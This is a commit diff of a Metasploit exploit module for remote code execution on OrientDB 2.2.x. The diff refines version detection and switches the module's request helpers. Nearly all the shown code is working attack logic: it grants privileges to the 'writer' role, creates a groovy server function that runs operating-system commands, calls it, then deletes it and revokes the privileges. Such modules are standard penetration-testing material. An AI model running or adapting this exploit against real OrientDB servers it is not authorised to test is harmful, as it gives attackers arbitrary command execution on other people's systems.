Orientdb 2.2.x RCE - Fine tune vulnerable version detection; removed redundant uri normalization checking; Swapped send_request_raw for send_request_cgi; using vars_get;
parent
00a817d228
commit
6c22f785e9
|
@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Name' => 'OrientDB 2.2.x Remote Code Execution',
|
'Name' => 'OrientDB 2.2.x Remote Code Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
||||||
All versions from 2.2.1 up to 2.2.22 should be vulnerable.
|
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -51,9 +51,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def check
|
def check
|
||||||
uri = target_uri
|
uri = target_uri
|
||||||
uri.path = normalize_uri(uri.path)
|
uri.path = normalize_uri(uri.path)
|
||||||
uri.path << "/" if uri.path[-1, 1] != "/"
|
res = send_request_cgi({'uri' => "#{uri.path}listDatabases"})
|
||||||
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
|
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\.[2-9]|1[0-9]|2[0-2]/
|
||||||
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
|
|
||||||
print_good("Version: #{res.headers['Server']}")
|
print_good("Version: #{res.headers['Server']}")
|
||||||
return Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Vulnerable
|
||||||
else
|
else
|
||||||
|
@ -68,11 +67,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
request_parameters = {
|
request_parameters = {
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
|
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
|
||||||
|
'encode_params' => false,
|
||||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||||
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
|
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
|
||||||
}
|
}
|
||||||
res = send_request_raw(request_parameters)
|
res = send_request_cgi(request_parameters)
|
||||||
if not (res and res.code == 201)
|
if not (res and res.code == 201)
|
||||||
begin
|
begin
|
||||||
json_body = JSON.parse(res.body)
|
json_body = JSON.parse(res.body)
|
||||||
|
@ -85,11 +85,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
request_parameters = {
|
request_parameters = {
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
|
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
|
||||||
|
'encode_params' => false,
|
||||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||||
'data' => ""
|
'data' => ""
|
||||||
}
|
}
|
||||||
req = send_request_raw(request_parameters)
|
req = send_request_cgi(request_parameters)
|
||||||
if not (req and req.code == 200)
|
if not (req and req.code == 200)
|
||||||
begin
|
begin
|
||||||
json_body = JSON.parse(res.body)
|
json_body = JSON.parse(res.body)
|
||||||
|
@ -112,11 +113,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
request_parameters = {
|
request_parameters = {
|
||||||
'method' => 'DELETE',
|
'method' => 'DELETE',
|
||||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
|
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
|
||||||
|
'encode_params' => false,
|
||||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
'headers' => { 'Accept' => '*/*' },
|
'headers' => { 'Accept' => '*/*' },
|
||||||
'data' => ""
|
'data' => ""
|
||||||
}
|
}
|
||||||
rer = send_request_raw(request_parameters)
|
rer = send_request_cgi(request_parameters)
|
||||||
if not (rer and rer.code == 204)
|
if not (rer and rer.code == 204)
|
||||||
begin
|
begin
|
||||||
json_body = JSON.parse(res.body)
|
json_body = JSON.parse(res.body)
|
||||||
|
@ -157,8 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
vprint_status("Attempting to execute: #{cmd}")
|
vprint_status("Attempting to execute: #{cmd}")
|
||||||
@uri = target_uri
|
@uri = target_uri
|
||||||
@uri.path = normalize_uri(@uri.path)
|
@uri.path = normalize_uri(@uri.path)
|
||||||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
res = send_request_cgi({'uri' => "#{@uri.path}listDatabases"})
|
||||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
|
||||||
if res && res.code == 200 && res.body.length > 0
|
if res && res.code == 200 && res.body.length > 0
|
||||||
begin
|
begin
|
||||||
json_body = JSON.parse(res.body)["databases"]
|
json_body = JSON.parse(res.body)["databases"]
|
||||||
|
@ -198,8 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def exploit
|
def exploit
|
||||||
@uri = target_uri
|
@uri = target_uri
|
||||||
@uri.path = normalize_uri(@uri.path)
|
@uri.path = normalize_uri(@uri.path)
|
||||||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
res = send_request_cgi({'uri' => "#{@uri.path}listDatabases"})
|
||||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
|
||||||
if res && res.code == 200 && res.body.length > 0
|
if res && res.code == 200 && res.body.length > 0
|
||||||
begin
|
begin
|
||||||
json_body = JSON.parse(res.body)["databases"]
|
json_body = JSON.parse(res.body)["databases"]
|
||||||
|
@ -219,12 +219,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
items.each do |item|
|
items.each do |item|
|
||||||
request_parameters = {
|
request_parameters = {
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"),
|
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||||
|
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||||
|
'encode_params' => false,
|
||||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
'headers' => { 'Accept' => '*/*' },
|
'headers' => { 'Accept' => '*/*' },
|
||||||
'data' => "GRANT #{priv} ON #{item} TO writer"
|
'data' => "GRANT #{priv} ON #{item} TO writer"
|
||||||
}
|
}
|
||||||
res = send_request_raw(request_parameters)
|
res = send_request_cgi(request_parameters)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
# Exploit
|
# Exploit
|
||||||
|
@ -245,12 +247,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
items.each do |item|
|
items.each do |item|
|
||||||
request_parameters = {
|
request_parameters = {
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20?format=rid,type,version,class,graph"),
|
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||||
|
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||||
|
'encode_params' => false,
|
||||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
'headers' => { 'Accept' => '*/*' },
|
'headers' => { 'Accept' => '*/*' },
|
||||||
'data' => "REVOKE #{priv} ON #{item} FROM writer"
|
'data' => "REVOKE #{priv} ON #{item} FROM writer"
|
||||||
}
|
}
|
||||||
res = send_request_raw(request_parameters)
|
res = send_request_cgi(request_parameters)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue